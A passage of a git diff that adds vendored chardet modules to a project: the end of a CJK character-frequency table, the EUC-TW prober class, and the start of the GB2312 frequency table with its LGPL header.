956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 +3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 +3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 +1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 +2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 +7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 +1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 +1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 +3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 + 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 +1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 +4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 +7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 +2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 +3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 + 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 +1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 +2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 +2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 +7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 +7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 +7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 +2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 +2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 +1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 +4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 +3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 +3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 +4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 +4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 +2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 +2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 +7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 +4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 +7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 +2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 +1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 +3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 +4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 +2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 + 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 +2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 +1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 +2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 +2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 +4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 +7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 +1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 +3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 +7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 +1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 +8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 +2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 +8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 +2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 +2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 +8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 +8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 +8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 + 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 +8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 +4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 +3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 +8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 +1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 +8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 + 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 +1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 + 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 +4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 +1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 +4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 +1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 + 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 +3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 +4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 +8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 + 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 +3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 + 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 +2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 +) + diff --git a/src/thirdparty/chardet/euctwprober.py b/src/thirdparty/chardet/euctwprober.py new file mode 100644 index 0000000000..35669cc4dd --- /dev/null +++ b/src/thirdparty/chardet/euctwprober.py @@ -0,0 +1,46 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCTWDistributionAnalysis +from .mbcssm import EUCTW_SM_MODEL + +class EUCTWProber(MultiByteCharSetProber): + def __init__(self): + super(EUCTWProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL) + self.distribution_analyzer = EUCTWDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "EUC-TW" + + @property + def language(self): + return "Taiwan" diff --git a/src/thirdparty/chardet/gb2312freq.py b/src/thirdparty/chardet/gb2312freq.py new file mode 100644 index 0000000000..697837bd9a --- /dev/null +++ b/src/thirdparty/chardet/gb2312freq.py @@ -0,0 +1,283 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# GB2312 most frequently used character table +# +# Char to FreqOrder table , from hz6763 + +# 512 --> 0.79 -- 0.79 +# 1024 --> 0.92 -- 0.13 +# 2048 --> 0.98 -- 0.06 +# 6768 --> 1.00 -- 0.02 +# +# Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79 +# Random Distribution Ration = 512 / (3755 - 512) = 0.157 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR + +GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9 + +GB2312_TABLE_SIZE = 3760 + +GB2312_CHAR_TO_FREQ_ORDER = ( +1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, +2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, +2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, + 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670, +1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820, +1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585, + 152,1687,1539, 738,1559, 59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566, +1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850, 70,3285,2729,3534,3575, +2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853, +3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061, + 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155, +1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406, + 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816, +2534,1546,2393,2760, 737,2494, 13, 447, 245,2747, 38,2765,2129,2589,1079, 606, + 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023, +2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414, +1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513, +3195,4115,5627,2489,2991, 24,2065,2697,1087,2719, 48,1634, 315, 68, 985,2052, + 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570, +1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575, + 253,3099, 32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250, +2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506, +1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563, 26, +3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835, +1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686, +2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054, +1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894, + 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105, +3777,3657, 643,2298,1148,1779, 190, 989,3544, 414, 11,2135,2063,2979,1471, 403, +3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694, + 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873, +3651, 210, 33,1608,2516, 200,1520, 415, 102, 0,3389,1287, 817, 91,3299,2940, + 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687, 20,1819, 121, +1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648, +3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992, +2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680, 72, 842,1990, 212,1233, +1154,1586, 75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157, + 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807, +1910, 534, 529,3309,1721,1660, 274, 39,2827, 661,2670,1578, 925,3248,3815,1094, +4278,4901,4252, 41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258, + 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478, +3568, 194,5062, 15, 961,3870,1241,1192,2664, 66,5215,3260,2111,1295,1127,2152, +3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426, 53,2909, + 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272, +1272,2363, 284,1753,3679,4064,1695, 81, 815,2677,2757,2731,1386, 859, 500,4221, +2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252, +1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301, +1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254, + 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070, +3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461, +3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640, 67,2360, +4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124, + 296,3979,1739,1611,3684, 23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535, +3116, 17,1074, 467,2692,2201, 387,2922, 45,1326,3055,1645,3659,2817, 958, 243, +1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713, +1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071, +4046,3572,2399,1571,3281, 79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442, + 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946, + 814,4968,3487,1548,2644,1567,1285, 2, 295,2636, 97, 946,3576, 832, 141,4257, +3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180, +1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427, + 602,1525,2608,1605,1639,3175, 694,3064, 10, 465, 76,2000,4846,4208, 444,3781, +1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724, +2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844, 89, 937, + 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943, + 432, 445,2811, 206,4136,1472, 730, 349, 73, 397,2802,2547, 998,1637,1167, 789, + 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552, +3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246, +4996, 371,1575,2436,1621,2210, 984,4033,1734,2638, 16,4529, 663,2755,3255,1451, +3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310, + 750,2058, 165, 80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860, +2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297, +2357, 395,3740, 137,2075, 944,4089,2584,1267,3802, 62,1533,2285, 178, 176, 780, +2440, 201,3707, 590, 478,1560,4354,2117,1075, 30, 74,4643,4004,1635,1441,2745, + 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936, +2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032, + 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669, 43,2523,1657, + 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414, + 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976, +3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436, +2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254, +2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024, 40,3240,1536, +1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238, + 18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059, +2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741, + 90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447, + 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601, +1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269, +1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076, 46,4253,2873,1889,1894, + 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173, + 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994, +1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956, +2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437, +3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154, +2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240, +2269,2246,1446, 36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143, +2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634, +3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472, +1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906, 51, 369, 170,3541, +1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143, +2101,2730,2490, 82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312, +1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414, +3750,2289,2795, 813,3123,2610,1136,4368, 5,3391,4541,2174, 420, 429,1728, 754, +1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424, +1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302, +3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739, + 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004, +2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484, +1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739, +4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535, +1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641, +1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307, +3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573, +1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533, + 47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965, + 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096, 99, +1397,1769,2300,4428,1643,3455,1978,1757,3718,1440, 35,4879,3742,1296,4228,2280, + 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505, +1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012, +1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039, + 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982, +3708, 135,2131, 87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530, +4314, 9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392, +3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656, +2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220, +2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766, +1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535, +3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728, +2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338, +1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627, +1505,1911,1883,3526, 698,3629,3456,1833,1431, 746, 77,1261,2017,2296,1977,1885, + 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411, +2411,3135,1777,3372,2621,1841,1613,3229, 668,1430,1839,2643,2916, 195,1989,2671, +2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162, +3192,2910,2010, 140,2395,2859, 55,1082,2012,2901, 662, 419,2081,1438, 680,2774, +4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524, +3399, 98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346, + 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040, +3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188, +2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280, +1086,1974,2034, 630, 257,3338,2788,4903,1017, 86,4790, 966,2789,1995,1696,1131, + 259,3095,4188,1308, 179,1463,5257, 289,4107,1248, 42,3413,1725,2288, 896,1947, + 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970, +3034,3310, 540,2370,1562,1288,2990, 502,4765,1147, 4,1853,2708, 207, 294,2814, +4078,2902,2509, 684, 34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557, +2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997, +1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972, +1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369, + 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376, +1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196, 19, 941,3624,3480, +3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610, + 955,1089,3103,1053, 96, 88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128, + 642,4006, 903,2539,1877,2082, 596, 29,4066,1790, 722,2157, 130, 995,1569, 769, +1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445, 50, 625, 487,2207, + 57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392, +1783, 362, 8,3433,3422, 610,2793,3277,1390,1284,1654, 21,3823, 734, 367, 623, + 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782, +2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650, + 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478, +2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773, +2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007, +1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323, +1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598, +2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961, + 819,1541, 142,2284, 44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302, +1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409, +1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683, +2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191, +2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434, 92,1466,4920,2616, +3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302, +1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774, +4462, 64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147, + 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731, + 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464, +3264,2855,2722,1952,1029,2839,2467, 84,4383,2215, 820,1391,2015,2448,3672, 377, +1948,2168, 797,2545,3536,2578,2645, 94,2874,1678, 405,1259,3071, 771, 546,1315, + 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928, 14,2594, 557, +3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903, +1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060, +4031,2641,4067,3145,1870, 37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261, +1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092, +2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 203,3173,4170,1907,3890, 810, +1401,2003,1690, 506, 647,1242,2828,1761,1649,3208,2249,1589,3709,2931,5156,1708, + 498, 666,2613, 834,3817,1231, 184,2851,1124, 